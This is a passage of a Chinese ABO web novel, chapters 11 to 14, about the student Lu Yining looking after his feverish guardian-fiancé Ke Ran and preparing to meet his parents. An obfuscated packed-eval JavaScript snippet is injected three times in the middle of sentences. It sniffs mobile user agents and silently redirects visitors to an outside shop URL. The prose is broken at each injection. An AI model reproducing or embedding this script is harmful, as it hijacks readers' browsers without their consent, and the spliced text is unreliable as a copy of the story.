陆一宁果断闭嘴躺下,他扒着柯染的胳膊小声问:“我可以枕在上面吗?” 柯染把他揽进怀里,叹气:“刚才衣服都敢脱,现在却不敢躺我胳膊?” 陆一宁心满意足的钻进他怀里,两只手重新抱到他脖子上,小声嘟囔:“我就是客气客气,你不让我枕我也枕。” 柯染:“……” 他原本以为陆一宁只是想睡觉,便没出声,想着这两天小孩儿肯定没休息好,就随他去吧,直到躺进来身体贴在一起,他才知道陆一宁胆子大到什么程度。 在一个易感期刚平稳的Alpha面前脱衣服,是真不怕出事。 想到这里,柯染放在他腰上的手不禁紧了紧,惩罚似的在上面掐了一把,闭上眼刚准备入睡的陆一宁一个激灵,差点叫出来。 “你干嘛?”他软着声音,像在撒娇。 “以后不许在任何Alpha面前脱衣服,听到没?”柯染自认为很严肃,却没想到把陆一宁逗笑了。 “除了你,我不会勾|引任何人。”陆一宁给他吃了个定心丸。 柯染的心情诡异的愉悦起来,抱着昏昏欲睡的陆一宁,他在心里唾弃自己,这和趁人之危有什么区别,不过是仗着陆一宁年纪小依赖他,所以才这般满足自己的私|欲罢了! 陆一宁不知道他心里的弯弯绕绕,躺在萦满檀香的怀抱里,他感到无比安心,没多久就睡了过去,半睡半醒间他想起忘记问柯染的手怎么了,但眼皮实在太沉,这个想法刚在脑中成形他就没了意识。 两人相拥着一觉睡到天黑,是何医生见陆一宁迟迟不下楼怕出什么事叫张叔一起来看看,两人才被吵醒。 看着安然躺在柯染被窝里的陆一宁,张叔大脑一片空白,愣了几秒后,他问:“小少爷,你进度这么快?” 何医生是Alpha,她能闻到空气中只有一种信息素,显而易见,这两人什么也没发生,她朝柯染竖起大拇指:“大少爷真能忍。” “……”柯染罕见的脸红了,没理会何医生揶揄的目光,他咳嗽一声赶人:“麻烦二位先出去,我们换衣服。” 等屋里就剩柯染和陆一宁两人后,陆一宁慢吞吞的从被窝里出来,又慢吞吞的脱掉睡衣,慢吞吞的去柯染衣柜里挑衣服。 期间生怕柯染看不清似的,每一个动作都要放慢无数倍,直到柯染忍无可忍的训斥他:“你给我正常点!” 陆一宁背对着他弯腰穿裤子,动作还是那么慢,“我不是怕勾|引不到你么。” 柯染额角的青筋砰砰直跳,好在陆一宁见好就收,怕真把他刺激到,撩拨几句就转移话题了:“你的手怎么回事?严不严重?” “没事,玻璃划的,过几天就好了。”柯染不怎么在意,反而关心起他:“倒是你,脑门还没好,别趁我最近不能看着你就乱来知道吗?” “行行行,知道了柯爹,我受伤你陪我吃清淡的,你受伤我也陪你吃,行吗?” 柯染没回答,但上翘的嘴脸说明了答案。 11. 吵架 陆一宁是惯会得寸进尺的,傍晚在柯染房间睡了一觉,晚上就说什么也要挤进去,美其名曰可以近距离照顾病人。 柯染对他的小心思一清二楚,因此不管陆一宁说什么他都不同意,俨然一副“不听不听,王八念经”的表情。 陆一宁见实在说服不了他,只能拿出自己的杀手锏,“这次考试英语老师让家长签字,而且今天发的卷子我有很多题都不会。” 柯染对别的可以不关心,但涉及到他的学习,从来都是严肃对待。他对陆一宁其实也没太大要求,能考一个正经大学就行,反正大学毕业陆一宁想做什么他都有条件支持。 可陆一宁对自己要求很高,心心念念的都是和柯染上同一所大学,做他的学弟,尽管他上大一的时候柯染已经快毕业了,但他就是想走柯染走过的路。 见柯染动摇,陆一宁立刻再接再厉,抓着他的袖子左右摇晃,泫然欲泣:“你不想管我了吗?你嫌我麻烦了吗?” 柯染:“……” 明知道陆一宁是在装可怜,可他还是忍不住心软,从小到大陆一宁用这招不知道拿捏了他多少回,每次都明知道是坑还往里跳。 “好了好了,过来吧。”柯染用拇指抹着陆一宁眼角薛定谔的眼泪,有原则的妥协:“不过写完作业就回去,不能留宿。” “好!”陆一宁雀跃的回答,然后搀着柯染的胳膊上楼。 晚上下楼吃饭时柯染在楼梯上差点晕倒,要不是张叔在后面帮陆一宁扶了一把,柯染可能就要倒在楼梯上了。 何医生说这是强效抑制剂的后遗症,而且这只是开始,后面几天柯染会越来越难受,直到抑制剂彻底被身体代谢掉才会结束。 陆一宁毕竟是个Omega,柯染不敢真靠在他身上,让他虚扶一把满足一下小心思就行了,陆一宁也知道自己的拐杖作用不大,所以扶着柯染的胳膊,实际手总往他胸肌上摸。 不到二十阶的楼梯,陆一宁摸了他不下五次,柯染烦不胜烦,捉住他的手警告道:“再不老实你就别过来了。” 陆一宁瞬间露出乖巧的笑意,顺便回握住柯染的手。 柯染头疼,他到底是怎么把陆一宁养成恋爱脑的?! 今天卷子不多,陆一宁在学校做完了两张,还剩两张英语,一张理综,一张语文。 和往常一样,他写卷子,柯染批阅,柯染伤到的是右手,但他左手一样灵活。他小时候是左撇子,日常生活和写字都用左手,后来被父母发现不对才强制改成右手的。 生病受伤不但没有影响柯染的批卷速度,反而让他思维更加清楚,比如他现在手里拿着陆一宁昨天的理综卷子,上面有两道题型他记得很清楚,自己给陆一宁讲过两遍,陆一宁也跟他保证说会做了,结果还是错的这么明显。 批完所有卷子,柯染又看起陆一宁这次摸底考的成绩,排名没变动,在他意料之中。 把陆一宁的英语卷子拿出来,上面有英语老师的批语:下次再考不了140以上就让柯染亲自来见我!!! 在上面签好名字,柯染感慨,英语老师的字体还是那么狂野。 现在教陆一宁的老师全是当初教柯染的,柯染上高中时陆一宁初中放学早,没事就来找他玩,偶尔会在班主任睁一只眼闭一只眼的默许下陪他上个晚自习,所以差不多全学年都知道柯染有一个可爱的Omega未婚夫,老师们更是都认识陆一宁,在得知柯染是他的监护人后,陆一宁在学校一惹祸,柯染就会收到来自老师们的亲切问候。 每当陆一宁成绩下降,或者有偏科的嫌疑,柯染就会被老师勒令好好看管陆一宁的成绩,柯染高中三年都没怎么被老师教训,现在都在陆一宁这里补回来了。 作业做完,错题讲完,柯染又考了他两个单元的单词,还随机抽考了一篇文言文,陆一宁的完成度都不错,这让柯染十分满意。 “我这么认真学习,可以申请奖励吗?”陆一宁眼睛亮晶晶的注视着柯染,心思昭然若揭。 柯染把他凑到面前的脑袋瓜推到一边,冷酷无情:“奖励可以有,但不能是在我房间睡。” “……”陆一宁撇嘴,“我就想要这个。” 柯染不动如山:“不行。” 陆一宁:“要不你再考我个别的?或者我再做一张卷子,达到你的要求就让我留下。” 柯染无奈:“AO有别,何况我还是个易感期刚稳定的Alpha,很危险的,你就回自己房间,好不好?” 陆一宁叉腰质问:“下午你抱着我睡的时候怎么不说AO有别?我说只勾|引你的时候怎么不说AO有别?” 柯染语塞,两秒后果断承认错误:“下午是我的问题,以后我会注意距离,不会发生类似的事。” “柯染!”陆一宁生气得瞪圆了眼。 柯染回望他,什么也不说。 陆一宁倔强的与他对峙,趁他不注意在后腰使劲掐了一把,眼圈立刻就红了。 果然,他一哭,柯染就慌了。 “别哭别哭,我刚才说错话了,我给你赔不是好不好?”手忙脚乱的给陆一宁擦完眼泪,柯染把他拉到床边坐好,温柔的赔礼道歉:“是我口不择言,小宁原谅我好吗,我不该说那样的话让你伤心,别和我计较了好不好?” 陆一宁趁着眼角泪痕还没干赶紧提要求:“我要坐你腿上。” “好。”柯染左手握住他的腰微微用力,将人抱到了大腿上坐好。 “我晚上还要和你一起住。”陆一宁又说。 柯染没说话,显然是在犹豫。 陆一宁悄悄把手放在后腰,准备再来一次,然而还没等下手,柯染就攥住他的手腕拎到了前面来。 心思被发现,陆一宁有些尴尬,索性一不做二不休,直接抱住柯染的脖子,像树袋熊一样用四肢缠住了柯染,然后理直气壮耍无赖:“我今晚就要和你住!你要是不同意我就不下去,你看着办吧!” 柯染想把他的手拿下来,刚碰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191151|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肤,陆一宁就嗷嗷喊疼,搞得他碰都不敢碰。 “现在十一点十分,你要是觉得我明早上学能起来,你就继续磨蹭吧,大不了我今晚不睡。” 柯染沉默半晌,说:“我只是想让你把手松开点,我喘不过气了。” “啊?哦哦哦,现在呢,还勒吗?”陆一宁贴心的调整了一下姿势,既能让柯染不能轻易把他放下,又能让柯染自如呼吸。 柯染无语,柯染妥协。 “去洗漱吧,回来睡觉。” “你保证待会儿让我进屋。” “我保证。”柯染掐掐他的脸蛋,叹道:“不让你进屋你又掐自己怎么办,我舍不得让你疼的。” 陆一宁想说让他疼也行,他很期待柯染狠狠疼他,但这话只能憋在心里,说出来柯染又要训他。 “快去,时间不早了。”柯染垂眸看到陆一宁想入非非的表情,生怕他说出什么不能播的话,所以赶忙催促。 得了保证的陆一宁乐呵呵的跑去楼下拿洗漱用具了,柯染则帮他收拾书包,将各种书本和试卷分门别类放好,柯染自己都觉得自己像一个操心的老父亲。 正当他把书包放好准备先一步去洗漱时,遗忘在角落的手机响了,是柯父柯母在打来的群视频。 “你和小宁忙什么呢?给你们俩发消息都不回,难道他作业还没写完?”陈叶茹,也就是柯染的Beta妈妈,笑眯眯问道:“还是说你们俩在做一些不好意思让我们知道的事?” “妈,你说什么呢,小宁还小,我们不可能做什么。”柯染疲惫的揉揉额头,已经解释累了。 “现在没有不代表将来没有嘛。”柯染的Alpha爸爸柯辰在陈叶茹身后入镜,“我和你妈后天早上的飞机,你和小宁要不要来接我们?” “我不太行,我易感期提前了,今天刚稳定,待会儿问问小宁吧。”柯染把手机放到柜子上,准备下楼看看陆一宁怎么还没过来。 陆一宁此刻正在和赵子时打电话,赵子时说他哥今天和Omega约会到现在还不回来,他怀疑自己要有嫂子了,让陆一宁从柯染那里打听一下,赵子舟有没有恋爱的想法。 陆一宁挂掉电话正撞上来找他的柯染,他顺势把赵子时的担忧说出来,柯染揽住他的肩膀往外走:“不可能,赵子舟就是个工作狂,他要是有喜欢的人我不可能不知道,如果赵子时说的是一位棕色长发的女性Omega的话,我可以明确告诉他,那只是一位合作伙伴,最近我和赵子舟在开发新项目,她是合作公司的总裁,况且她结婚了,对象是一位非常优秀的工程师Beta。” “那就好。”听他说完陆一宁放心不少,火速发完消息给赵子时,和柯染一起进了房间。 柯爸柯妈还没挂断视频,见陆一宁拿着洗漱用具进门,柯妈妈惊讶的捂住了嘴,猛拍柯爸爸的后背,“小宁比你当年给力多了,居然这么快就搞定了儿子。” 柯爸爸不太乐意,夸人就夸人,怎么还带拉踩的! 12. 擦身 陆一宁是被热醒的,昨晚和柯爸爸与柯妈妈聊了一会儿天后他就被柯染催促着上床了,还没睡几个小时,他就感到屋里热得不正常。 一睁眼发现自己被柯染牢牢禁锢在怀里,而柯染脸色通红,呼吸粗重,眉头也皱得很紧,俨然一副难受的样子。 陆一宁从他怀里稍稍挣脱,抽出一只手放在柯染额头上,果不其然烫得惊人。 好在何医生早有准备,陆一宁刚拨通电话她就带着检查设备和张叔进来了,先给柯染量体温,39℃,再不退烧就要烧坏了。 轻车熟路挂上吊瓶,何医生叮嘱:“未来至少三天,他会包括但不限于头晕呕吐高烧浑身无力,所以你们注意着点,情况不对赶紧找我。” 这话她说过好几次,陆一宁和张叔点头如啄米,保证把柯染当成保护动物对待。 现在距离起床还有两个多小时,陆一宁左右睡不着,索性拿出单词册背单词,顺便能实时看顾柯染的情况。 张叔见状急忙劝他回自己房间休息,陆一宁却怎么也不肯,“张叔,您不用担心我,我不困,我不亲眼看着他退烧总是不放心的。” 张叔走后,陆一宁趴在床头的柜子上,眼睛不错珠的盯着柯染。 柯染身体素质向来不错,往常易感期打几支抑制剂就扛过去了,从没出现过现在这种情况,他也很少生病,至少在陆一宁的印象中,他这样虚弱的状况屈指可数。 从前都是他生病柯染整夜整夜守着他,如今倒是轮到他守着柯染了。 心不在焉的背了半个小时单词,最后陆一宁检查成果,很好,背五个忘仨,四舍五入等于这单元没背。 既然正事做不下去,陆一宁就改成专心照顾柯染,他去卫生间用温水浸了个帕子,准备给柯染擦身体。 这可是难得的能光明正大吃豆腐的机会,陆一宁激动的不得了,他轻手轻脚的把柯染睡衣扣子解开,摸上了心心念念很久的腹肌。 他上次和赵子时去看的那些男模,肌肉都很夸张,虽然他没上手摸,但也能肯定不如柯染的好摸,毕竟情人眼里出西施嘛,陆一宁边摸边劝自己,现在不摸还不一定什么时候再有机会,得摸个够本才行。 不过他也没忘了正事,还是有给柯染擦身子的,只是额外收点利息而已。 擦完上半身,陆一宁换了块帕子,打算脱掉柯染的裤子,但这次他没能如愿以偿,因为柯染醒了。 “你在做什么?”柯染从床上坐起来,嗓音沙哑,双眼透着茫然。 “我、我在给你擦身体,你发烧了。”陆一宁慌了一瞬,但很快镇定下来,他将手中的湿帕子给柯染看,证明自己所言非虚。 柯染蹙着眉没说话,陆一宁怕他追究,急忙转移话题:“你快躺下吧,何阿姨给你挂的吊瓶还没滴完,小心回血。” 柯染低头看看自己大敞四开的睡衣,再看看陆一宁四处躲避的眼神,心下了然。 他又好气又好笑的挑了挑眉,示意陆一宁给他个说法,陆一宁深切贯彻装傻充愣大法,看天看地就是不看柯染本人。 “你几点起来的,困不困?”默默叹了口气,最终是柯染先低头,看在陆一宁早起照顾他的份儿上,他就不追究这个小坏蛋了。 “我刚起没多久,我不困,你快躺下。”见柯染揭过此事,陆一宁又来劲了,扶柯染躺下的同时手不忘再揩一把油,但嘴上还是很义正言辞,“何阿姨说你会虚弱几天,不能劳累,这几天我会好好照顾你,履行作为你的Omega的义务!” 柯染心说你最好说的是正经义务。 “不到五点,你躺下眯一会儿,别忙了。” “我不困,你的药快打完了,我得看着。”陆一宁眼睛很亮,可以看出确实不困。 “不困就养养神,听话。”柯染拍拍床铺,“上来。” 陆一宁还要再拒绝,可柯染面色疲乏,似乎跟他说几句话的工夫就用尽了力气,他心里一软,乖乖爬上了床。 期间何医生进来换药,看到依偎在一起的两人,目光揶揄,笑得不怀好意。 六点整,陆一宁准时起床,他把想陪他下楼一起吃早餐的柯染按回被窝里,精神奕奕的下了楼。 在学校门口和赵子时碰上,赵子时眼下的两个硕大黑眼圈和陆一宁翘了一早上的嘴角形成鲜明对比。 “柯染不是说那个人只是合作伙伴吗,你怎么还是没睡好?”陆一宁与他并肩往校园内走,关心的问道。 “嗐,那个人虽然和我哥只是合作关系,但昨天听管家说,我哥有和人联姻的打算。”赵子时苦着脸,不甘心的揪着书包带子。 “啊?不能吧?”陆一宁也惊了,“我回家跟柯染说,让他劝劝你哥别冲动行事,没有感情的联姻不会有好结果的。” “唉,随便吧。”赵子时灰心丧气道,“他要是真结婚了,那我就不考Q大了,出国读书,眼不见心不烦。” “别啊,我就你一个好朋友,你走了我多没意思。”陆一宁的嘴角弯下去,神色多了丝沮丧,他信誓旦旦向赵子时保证:“你放心,我一定让柯染好好劝你哥,绝对不让他结婚!” “但愿吧。”赵子时表情惆怅,他不愿在这个话题上长聊,转而问起昨晚发的卷子。 因着早上的事,连带陆一宁一整天心情都不怎么好,要么想着柯染的烧退没退,要么想着万一赵子时真出国他怎么办。 赵子舟和柯染是发小,赵家和柯家是世交,连带着他和赵子时也是发小,从小玩到大的情谊做不得伪,要是赵子时真出国,以后他的生活得少一半乐趣。 好不容易等到晚上放学,陆一宁拽着赵子时第一个冲出校门,然后让刘哥用最快的速度开车回家,上车后他给赵子时发消息:等我的好消息! 赵子时回了一个OK的表情包,陆一宁关上手机,问刘哥:“刘哥,柯染今天怎么样,有好点吗?” 刘哥嘴里叼着支没点燃的烟,一脚踩下油门,含糊道:“听张叔说大少爷一天都头晕眼花的,想下地喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191152|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个水都差点摔了,我出来之前,大少爷又发烧了,何医生正要给他挂吊瓶呢。” “这么严重,那刘哥你快点开,我要回去看看。”陆一宁心焦不已。 “小少爷别急,咱们得安全第一,不能开太快。”话虽是这么说,但刘哥还是默默加快了速度,只用平时一半的时间就到了家。 因为发烧没什么力气,柯染一天都在床上闭目养神,像个植物人,要不是陆一宁推门进来,也许他会就此睡过去。 “你还难受吗,到底什么时候能好啊。”陆一宁把手放在他额头上,嘴里不停碎碎念,“你以后不要用这种强效抑制剂了,我可以释放信息素安抚你的,我的信息素不比抑制剂有用吗,你看你现在这样……话说我到底怎么刺激到你的,我到现在都没想通……” 柯染几次想打断他,可陆一宁絮絮叨叨关心他的模样实在可爱,加之他没什么力气,也就任由陆一宁在耳边像个小蜜蜂似的嗡嗡了。 等陆一宁说够了柯染才敢开口:“好了,累不累,要不要上来休息会儿?” 这种要求陆一宁怎么可能拒绝,象征性的矜持两句就上了床,柯染打着哈欠,闭眼和他聊天:“明天爸妈回来,你要不要去接?” 本来昨晚就要聊这个,可柯爸爸柯妈妈被陆一宁和他睡一个房间的事分散了注意力,聊到最后也没想起来到底接不接。 “嗯,去吧,你出不了门,我总得去一趟,不然爸爸妈妈该伤心了。”陆一宁侧身躺在柯染旁边,手抱着他的脖子,脸埋在他颈窝处,声音沉闷。 陆一宁很喜欢抱他的脖子,柯染很早就发现过这个问题,许是从小不和亲生父母在一起,所以没有安全感的缘故,陆一宁每次和柯染拥抱,两只手都要往他脖子上缠,从小到大这么多年,柯染暗地里纠正过很多次,每次都以失败告终。 后来他就想通了,陆一宁爱怎么抱就怎么抱吧,反正他都能接住。 得到纵容的陆一宁愈发变本加厉,在柯染能喘过气的基础上,四肢都往他身上缠,恨不得与他做连体婴。 “对了,看你回来的时候有心事,是在学校遇到问题了吗?”柯染嗅着淡淡的青竹味儿,如同一个操心老父亲般问道。 说起这个陆一宁心情又低落起来,三言两语把赵子时的事说完,他仰头问道:“子舟哥真要联姻吗?等你好了能不能劝劝他,今天我看赵子时难过得都要哭了。” “他那个万年面瘫脸,想联姻未必有人看上他,我没记错的话,他应该是想让旁系的一个Alpha出去联姻,和他本人没关系。”柯染的下巴擦着陆一宁的头发,痒痒的,“待会儿我给他打电话说一下,放心,不会让你好朋友出国的。” “柯染。”陆一宁叫了一声他的名字。 “怎么?” “我想说你对我真好。” 柯染失笑,调侃他:“没有你对我好,你早上还给我擦身子呢。” “……”陆一宁把脸窝进他怀里,把装死贯彻到底。 13. 意愿 周六上午,陆一宁早早起床准备去接机,昨晚他软磨硬泡留在了柯染屋里,以至于早上从柯染怀里离开时依依不舍的。 “你多睡一会儿,要是不舒服记得告诉何阿姨,我和爸妈很快就到家的。”陆一宁给柯染盖好被子,语气温柔得跟哄幼儿园小朋友似的。 “知道了,早去早回。”柯染把被子向下拉一拉,散散热气。 昨晚何医生说让他注意不要着凉,陆一宁就半夜醒来给两人盖了好几次被子,屋里空调还开暖风,给柯染热得满头大汗,又不想拂了陆一宁心意,一直忍到现在。 他一走,柯染就迫不及待的跑去了浴室,一身黏糊糊的汗他早就想洗了,但他怕陆一宁说出鸳鸯浴之类的虎狼之词,便忍了又忍。 洗完澡神清气爽,如果没有差点晕倒在浴室应该更爽。 柯染活了二十多年,第一次知道Alpha可以弱柳扶风。 于是,等陆一宁回来发现柯染又卧床不起,而且还是自己洗澡造成的后,说什么也要包揽以后帮柯染洗澡的重任。 要不是柯染态度强硬,就被他得逞了。 柯辰和陈叶茹带着大包小包回到家,还没来得及给众人分礼物就听说自家儿子现在堪比林妹妹的事,把东西往张叔怀里一扔,就跑楼上嘲笑去了,顺便把属于柯染和陆一宁的那份礼物带上去。 “我说儿子,一个易感期就把你折腾成这样?一点没你爸我当年的风范。”柯辰抱着胳膊站在床边,边说边摇头,一脸的恨铁不成钢。 陈叶茹给他一杵子,让他好好说话。 她刚从何医生那里知道事情始末,因此现在心疼多过看热闹。 “以后不能乱打抑制剂,学学你爸,这么多年也没标记上我这个Beta,但你看他什么时候用过强效抑制剂。” “当时事态紧急,我要不控制着点整个房子的Omega说不定都要遭殃。”柯染疲倦的解释了几句,并没多说,他实在是没有多余的力气。 柯辰和陈叶茹看他状态不好就没多留,关心了几句后就下楼给众人发礼物去了,房间里只剩陆一宁静静陪他。 “困不困,睡一会儿?”柯染打着哈欠,强打起精神问。 “我还好,你睡吧,我一会儿打算做几张卷子。”陆一宁忍痛拒绝,觉得自己真是个爱学习的好孩子,等柯染好了必须要求奖励。 柯染这副病歪歪的状态持续了差不多一周,何医生给他检查时都说他这种强悍的Alpha少见,并劝他以后慎重使用强效抑制剂,毕竟副作用在这儿摆着。 他的病痊愈,陆一宁是有喜有忧,喜的当然是柯染不用遭罪了,忧的是不能和柯染一起睡了。 这几天他用尽各种办法留在柯染房间,如今柯染大好,他自然没有借口了。 陈叶茹知道他的苦恼后,大手一挥决定给陆一宁的装修,理由非常充分:“小宁的房间还是小时候的装扮,他现在长大了,应该换一换,既然之前都是和小染住的,那就再将就一段时间吧。” 陆一宁听完,眼睛亮得如同天上星,对着陈叶茹就是一顿拍马:“妈妈圣明!这个家不能没有妈妈!我永远是妈妈忠实的拥趸!我永远都爱妈妈!妈妈是世界上最好的人!” 陈叶茹被夸得身心舒坦,直言小儿子比大儿子说话好听一万倍。 不过她这个决定还没等实施就遭到了柯染的强烈反对。 “小宁现在高三,一切都应该以他的学业为主,他需要安静的环境学习,短时间还好,长时间和我住一起,我打电话写论文敲键盘都会对他造成打扰,况且我睡得比他晚,我们作息不一致,难道您要一个高三生迁就我吗?” “啊这……”柯妈妈犹豫了,主要柯染说得太有道理,她找不到理由反驳。 陆一宁眼看陈叶茹要败北,赶紧要想办法周旋,但他的所有未尽之语都被柯染一句话堵住:“陆一宁,听话。” 陆一宁瞬间哑火,平日里但凡柯染叫他大名,十次里有九次是要教训他,虽然他挺喜欢被管教的,但不代表他不怵。 半个多月前飙车打拳看男模的账柯染没跟他算不是放过他了,而是在等待时机一并发作。 眼下他要再惹事,想必柯染不介意提前发落他。 因此,陆一宁想了又想,还是认怂,他讨好的跑到柯染身边又捏肩膀又倒茶,态度极尽谄媚:“那什么,我觉得还是不装修了,妈妈是为了我好,但柯染哥哥也是为我好,我现在要努力学习,等高考完再装修也不迟。” “……”陈叶茹佯怒:“小宁,你这叛变得太快,妈妈要生气了。” 陆一宁又赶紧跑到她身后捶背,给她赔礼:“妈妈别怪我嘛,我也不想的,等我好好学习给你考个好大学出来,让你和爸爸多多涨脸。” 陈叶茹笑了,把人拉到身前宠溺的在他脑袋上弹了一下:“就你会撒娇,行吧,都听你的,不过好好学习要紧,在学校也要注意安全,受伤的事可不能再有了。” “我知道的妈妈,我肯定注意。”陆一宁给陈叶茹剥了个橘子递过去,乖巧听话的样子让陈叶茹狠狠夸了一通,还给他转了一大笔零花钱。 “不够花就跟妈妈说,或者跟你爸说,别短了自己。” 陆一宁开开心心的收下,然后存在了另一张卡里。 事实上,在柯染用股票赚到第一桶金后,他的吃穿用度就全被柯染接管了,不光每个月自动往他卡里打一笔巨额零花钱,还给他买了基金,柯染自己创业的公司也在他18岁生日那天给了他股份,每个月他就是躺平什么都不干卡里也有数不清的零。 所以他会把柯爸爸柯妈妈给的钱单独存在一个卡里,他亲生父母给的钱则放在另一张卡,平时生活开销只用柯染的钱。 柯染嘴上不说,但内心总有种养儿子的诡异满足感,也难怪陆一宁叫他柯爹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191153|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈叶茹和他们说了会儿话就去书房陪柯辰加班了,柯染做甩手掌柜,可是苦了柯辰,天天抱怨没有二人世界。 她走后,陆一宁也不再耍宝,和柯染上楼乖乖做卷子去了。 “这里画辅助线,∠A和∠C的角度就能一眼看出来,△AOP的面积也就好求了。” 柯染握住陆一宁的手在卷子上画下一条辅助线,陆一宁心脏怦怦跳,看题都不怎么专心。 “回神。”柯染拍了他一下,望着他通红的耳朵好笑不已,从前又不是没手把手教过他,怎么这次害羞了。 陆一宁也不知道怎么回事,今天心跳快得不正常,在楼下和陈叶茹说话时还好好的,和柯染待在一个密闭空间后就开始不对劲,不知道是不是发热期要提前的征兆。 应该没那么倒霉,陆一宁边做题边想,顺手算错一个数值。 柯染在旁看得清清楚楚却没有提醒,只等他自己发现。 一整套拔高数学卷用了整整两个小时,柯染看一眼腕表道:“休息半小时,接下来做英语,宋主任昨天给我发消息,期中你要是进不了学年前20,让我和你一起去他办公室挨训。” 陆一宁撇撇嘴不想说话。 上个厕所,吃两块水果,他瘫在床上看赵子时发的消息,说他哥解释了联姻的误会,让他不要东想西想。 陆一宁真心为他高兴,刚回两句,他和陆婉凌还有孟云晴的家族群就往外弹消息,陆婉凌说她们下周三到家,待二十天。 陆一宁把手机递到柯染面前,说不上心情:“半个多月前他们说过几天回来,一过就是半个月,而且之前你跟我说他们待一个月,现在又变成20天,果然什么都比不上他们的事业重要。” 柯染揉上他脑袋安抚,“20天很久了,应该是他们推了好多工作才凑出来的。” “也对。”陆一宁借势往他怀里滚,手机扔在旁边,抱上柯染脖子,“过年他们才待三天,现在休假20天可以算千古奇闻了。” “哪有那么夸张。”柯染拍拍他后背,示意他松一点,“下周三几点,我陪你去接他们?” 陆一宁这才想起还没回消息,去群里问了一嘴,陆婉凌说她是晚上八点,孟云晴是晚上八点半,相差很短,正好可以一起接。 下周开始学校晚自习要加一节,八点多刚下课,从学校出来就要去机场,时间很赶,陆一宁有些不开心,最终是柯染用新乐高把人哄好的。 “你答应过我,不让我和他们住,你可别忘了。”陆一宁鼓起脸提醒。 “没忘,一切以你意愿为主。”柯染含笑看他,戳了戳他的脸颊,像是刚充好气的气球。 “那做卷子也能以我意愿为主么?”陆一宁眨巴眨巴眼睛,期盼的说,“比如我待会儿不想做英语。” “这个不行。” 陆一宁内心流下两条宽面条泪,猛吸一口檀香才好转。 14. 接机 周三晚,陆一宁请了节晚自习的假和柯染去机场,这个月请假太多他都不好意思,是柯染给班主任打的电话,然后柯染成功挨训。 陆一宁坐在副驾驶不停抠着安全带,离机场越近他越紧张,柯染放了两首舒缓的音乐,让他稍微平静一点的同时也有空思考。 “待会儿打完招呼,你说我要说什么?关心他们的事业?问问他们累不累?还是说点其他的,我想不出能说什么……”陆一宁面露纠结,安全带都要被抠个窟窿出来。 “不用担心冷场,你不说话他们也会主动跟你聊天的,你想想平时爸妈出差回来你会问什么,就照公式套。”柯染转了下方向盘,还有两公里到达机场,他放慢速度,给陆一宁套公式的时间。 等陆一宁神色轻松些了,他一脚油门直接到达目的地。 不过刚进大厅就看到公示栏说有两个航班晚点,很巧,陆婉凌和孟云晴都晚点了。 陆一宁:“……早知道不用请假了。” 柯染也有些无语,揽着陆一宁的肩膀进了vip大厅,陆一宁靠在他身上百无聊赖的背单词,柯染随口考他几个,居然都答上来了。 面对柯染赞赏的目光,陆一宁立下军令状:“这次期中考我肯定进前二十,绝不让灭绝师太找你!” 柯染好笑的点了点他鼻子:“那我就拭目以待。” 八点半的时候,陆婉凌出来了,陆一宁和她浅浅拥抱了一下,柯染拎着她的行李箱回到座位等孟云晴。 桌上摊着刚刚陆一宁没做完的数学试卷,陆婉凌瞥了一眼,不悦道:“现在学校作业这么多吗,你居然要在这里写卷子。” 陆一宁讪笑道:“还好,高三了,卷子多一点很正常。” 陆婉凌还想说什么,但怕陆一宁反感,只能转移了话题。 “小染最近怎么样?听你妈妈说,因为小宁高三,你打算这一年专心辅导他学习,不去家里的公司了?” 柯染笑了笑,眼角瞥着正在嘬果汁的陆一宁:“这只是一部分原因,还有一部分是我自己的公司有事要忙,我妈他们这几年总过二人世界,总得给他们找点事做。” “那就好。”陆婉凌点点头,目露肯定:“虽说高三很重要,但为了辅导他学习就不去公司实在没必要,你忙你自己的工作就行,请个家教或者报辅导班是一样的。” 陆一宁吸果汁的速度慢下来,柯染笑容不变,抬手摸上他的脑袋,对陆婉凌道:“暂时不用,小宁很聪明,成绩也不错,辅导起来很容易。” 陆一宁像小狗似的在柯染掌心蹭了蹭,他满足的眯起眼,把空杯子往柯染面前推,意思不言而喻。 柯染:“喝太多小心待会儿吃不下饭。” 话是这样说,但还是让人又送了杯果汁上来。 陆婉凌看着自家儿子冲柯染撒娇的模样,一时间不知道说什么。 想了想,她问陆一宁:“给你的零用钱都够花吗,平时也不见你和我们要钱。” 陆一宁喝着山楂汁,含糊其辞道:“够用,平时都花不完。” 陆婉凌一看他敷衍的表情就知道在撒谎,想教育几句却不知道说什么,只能无奈的捏了捏鼻子,和柯染聊天。 